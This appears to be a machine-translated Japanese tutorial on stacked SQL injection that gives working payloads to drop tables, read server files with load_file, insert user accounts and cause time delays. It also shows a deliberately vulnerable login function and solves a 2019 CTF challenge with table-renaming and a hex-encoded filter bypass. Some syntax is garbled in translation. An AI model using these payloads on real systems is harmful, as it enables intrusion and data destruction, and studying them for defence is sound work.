[SQL インジェクション - スタック インジェクション] 他のインジェクションと組み合わせたマルチステートメントの実行

目次

スタックインジェクション

1. 文法入門

2. 脆弱性の例

3. 共通フォーム

ネットワークセキュリティ○


スタックインジェクション

1. 文法の紹介:

バージョン:

ほぼすべてのリレーショナル データベースに影響を与える可能性があります


原理:

クエリ用に複数のステートメントをスタックし、複数の SQL ステートメントを実行できる

ステートメントはセミコロン (;) で区切られており、インジェクション攻撃はこの機能を使用して 2 番目のステートメントのペイロードを構築します。


アドバンテージ:

ジョイント クエリ ユニオンはステートメントを結合することもできます (制限付き)

ただし、スタックインジェクションでは任意のステートメントを挿入できます。


制限事項:

mysqli_multi_query() 関数を使用して、複数の SQL ステートメントの同時実行をサポートします。

しかし実際には、SQL インジェクションメカニズムを防ぐために、PHP がデータベースを呼び出す関数は mysqli_query() 関数をよく使用します。この関数は 1 つのステートメントのみを実行でき、セミコロン以降の内容は実行されません。

mysqli_query() 関数:

mysqli_query($connection, $query);

//$connection:表示与MySQL服务器的连接,可以通过mysqli_connect()函数进行创建。
//$query:表示要执行的SQL查询语句。


使用:

インジェクションポイントがある: SQL インジェクションの脆弱性がある

フィルタなし: 「;」記号はフィルタされません。

無効ではありません: つまり、複数の SQL ステートメントの実行は禁止されていません

ステップ 1: スタックされたクエリを使用して複数のステートメントを構築する

select * from users where id=1;users のようなテーブル テストを作成します。 


ステップ 2: ステートメントが正常に実行されたかどうかを確認する

テーブルを表示します。


ステップ 3: テストを削除し、再度クエリを実行する

select * from users where id=1;drop table test;

テーブルを表示します。

(正常に実行されました)

 


 ステップ 4: 他のクエリ ステートメントを実行する

現在のユーザーとデータベースのバージョンを確認します

select * from user where id=1;select 1,user(),database();

その他の操作:

ファイルをロードする

select * from user where id=1;selectload_file('ファイルパス');

データを変更する

select * from user where id=1;insert into user(username,password)values ('よく勉強','123456');



2. 脆弱性の例

コード例:

def login(username, password):
    query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
    # 执行查询并验证用户登录信息
    ...

ログイン関数は、ユーザー名とパスワードをパラメータとして受け取り、SQL クエリ ステートメントを構築します。ただし、入力の検証やエスケープは行わず、ユーザーが指定した入力をクエリ文字列に接続するだけです。

悪意のあるコードなど:

';select sleep(10);--+

クエリ ステートメントは次のようになります。

SELECT * FROM users WHERE username='';select sleep(10);--+' AND password='...'

挿入されたコードが実行されると、sleep(10) 関数が 10 秒の遅延で実行されます。


 3. 共通フォーム

例: 「強王杯 2019 カジュアル ベット」

既知: 単語テーブルはコンテンツをエコーできますが、「1919810931114514」テーブルは特定のコンテンツをエコーできません。選択はフィルターされています

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

1.スタックインジェクション

'; スタッキングを開始します

RENAME TABLE WordsTOwords1; Words という名前のテーブルの名前を Words1 に変更します。

RENAME TABLE 1919810931114514TOwords; 1919810931114514 という名前のテーブルの名前を Words に変更します

ALTER TABLE WordsCHANGEflag id VARCHAR(100); Words テーブル内の flag という名前の列の名前を id に変更し、そのデータ型を VARCHAR(100) に変更します (最大長は 100 文字)

SHOW COLUMNS FROM Words; 単語テーブルのすべての列とその属性および情報を表示します。

# 残りのコードをコメントアウトします

2. スタックインジェクション + コードバイパスの選択

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#



ネットワークセキュリティ○

README.md 書籍 Bansheng/ネットワーク セキュリティ ナレッジ システム-プラクティス センター-コード クラウド-オープン ソース 中国 (gitee.com) https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge

おすすめ

転載: blog.csdn.net/qq_53079406/article/details/131562199